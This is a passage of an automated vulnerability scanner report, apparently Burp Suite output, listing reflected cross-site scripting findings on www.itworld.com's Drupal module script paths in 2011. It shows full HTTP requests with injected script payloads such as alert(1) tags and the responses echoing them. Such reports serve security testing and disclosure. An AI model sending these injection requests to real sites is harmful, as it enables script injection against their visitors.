s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.296. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a173"><script>alert(1)</script>3d6a003eacd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib1a173"><script>alert(1)</script>3d6a003eacd/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460196"
Content-Type: text/html; charset=utf-8
Content-Length: 57610
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:31 GMT
X-Varnish: 252447142
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib1a173"><script>alert(1)</script>3d6a003eacd/mollom/mollom.js?h"/>
...[SNIP]...

1.297. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8a76"-alert(1)-"d3b5702b0be was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/mollom/mollom.jsc8a76"-alert(1)-"d3b5702b0be?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460305"
Content-Type: text/html; charset=utf-8
Content-Length: 57390
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:10 GMT
X-Varnish: 1038159762
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/mollom/mollom.jsc8a76"-alert(1)-"d3b5702b0be";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.298. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11b01"-alert(1)-"53887dcf1dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites11b01"-alert(1)-"53887dcf1dc/all/modules/contrib/nice_menus/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460049"
Content-Type: text/html; charset=utf-8
Content-Length: 57466
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:03 GMT
X-Varnish: 1959723955
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites11b01"-alert(1)-"53887dcf1dc/all/modules/contrib/nice_menus/nice_menus.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't fi
...[SNIP]...

1.299. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60fd7"><script>alert(1)</script>2dd93f6b3cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites60fd7"><script>alert(1)</script>2dd93f6b3cd/all/modules/contrib/nice_menus/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460021"
Content-Type: text/html; charset=utf-8
Content-Length: 57685
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:31 GMT
X-Varnish: 1959722958
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites60fd7"><script>alert(1)</script>2dd93f6b3cd/all/modules/contrib/nice_menus/nice_menus.js?h"/>
...[SNIP]...

1.300. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84783"><script>alert(1)</script>455ba33a941 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib84783"><script>alert(1)</script>455ba33a941/nice_menus/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57686
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:32 GMT
X-Varnish: 252446270
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib84783"><script>alert(1)</script>455ba33a941/nice_menus/nice_menus.js?h"/>
...[SNIP]...

1.301. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8d63"-alert(1)-"da30ac173ba was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contriba8d63"-alert(1)-"da30ac173ba/nice_menus/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460177"
Content-Type: text/html; charset=utf-8
Content-Length: 57470
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:06 GMT
X-Varnish: 252446836
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contriba8d63"-alert(1)-"da30ac173ba/nice_menus/nice_menus.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requ
...[SNIP]...

1.302. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6b48"-alert(1)-"d53f7345189 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/nice_menusf6b48"-alert(1)-"d53f7345189/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460224"
Content-Type: text/html; charset=utf-8
Content-Length: 57472
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:46 GMT
X-Varnish: 252447871
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ch";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/nice_menusf6b48"-alert(1)-"d53f7345189/nice_menus.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.
...[SNIP]...

1.303. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f0b6"><script>alert(1)</script>209517c320d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/nice_menus4f0b6"><script>alert(1)</script>209517c320d/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460207"
Content-Type: text/html; charset=utf-8
Content-Length: 57692
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:37 GMT
X-Varnish: 252447381
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/nice_menus4f0b6"><script>alert(1)</script>209517c320d/nice_menus.js?h"/>
...[SNIP]...

1.304. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb3a9"><script>alert(1)</script>23e9fe0af45 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesbb3a9"><script>alert(1)</script>23e9fe0af45/all/modules/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460034"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:50 GMT
X-Varnish: 1959723549
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesbb3a9"><script>alert(1)</script>23e9fe0af45/all/modules/contrib/panels/js/panels.js?h"/>
...[SNIP]...

1.305. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98eeb"-alert(1)-"edb6328e97d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites98eeb"-alert(1)-"edb6328e97d/all/modules/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460066"
Content-Type: text/html; charset=utf-8
Content-Length: 57420
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:22 GMT
X-Varnish: 1959724550
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites98eeb"-alert(1)-"edb6328e97d/all/modules/contrib/panels/js/panels.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find th
...[SNIP]...

1.306. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1acf8"-alert(1)-"9e2bf50ca10 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all1acf8"-alert(1)-"9e2bf50ca10/modules/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460142"
Content-Type: text/html; charset=utf-8
Content-Length: 57419
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:23 GMT
X-Varnish: 252446214
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all1acf8"-alert(1)-"9e2bf50ca10/modules/contrib/panels/js/panels.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the pa
...[SNIP]...

1.307. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a132"><script>alert(1)</script>9f8127b47d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all4a132"><script>alert(1)</script>9f8127b47d2/modules/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:04 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460124"
Content-Type: text/html; charset=utf-8
Content-Length: 57639
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:08 GMT
X-Varnish: 56709607
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all4a132"><script>alert(1)</script>9f8127b47d2/modules/contrib/panels/js/panels.js?h"/>
...[SNIP]...

1.308. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0dbe"-alert(1)-"1d72270a250 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesc0dbe"-alert(1)-"1d72270a250/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
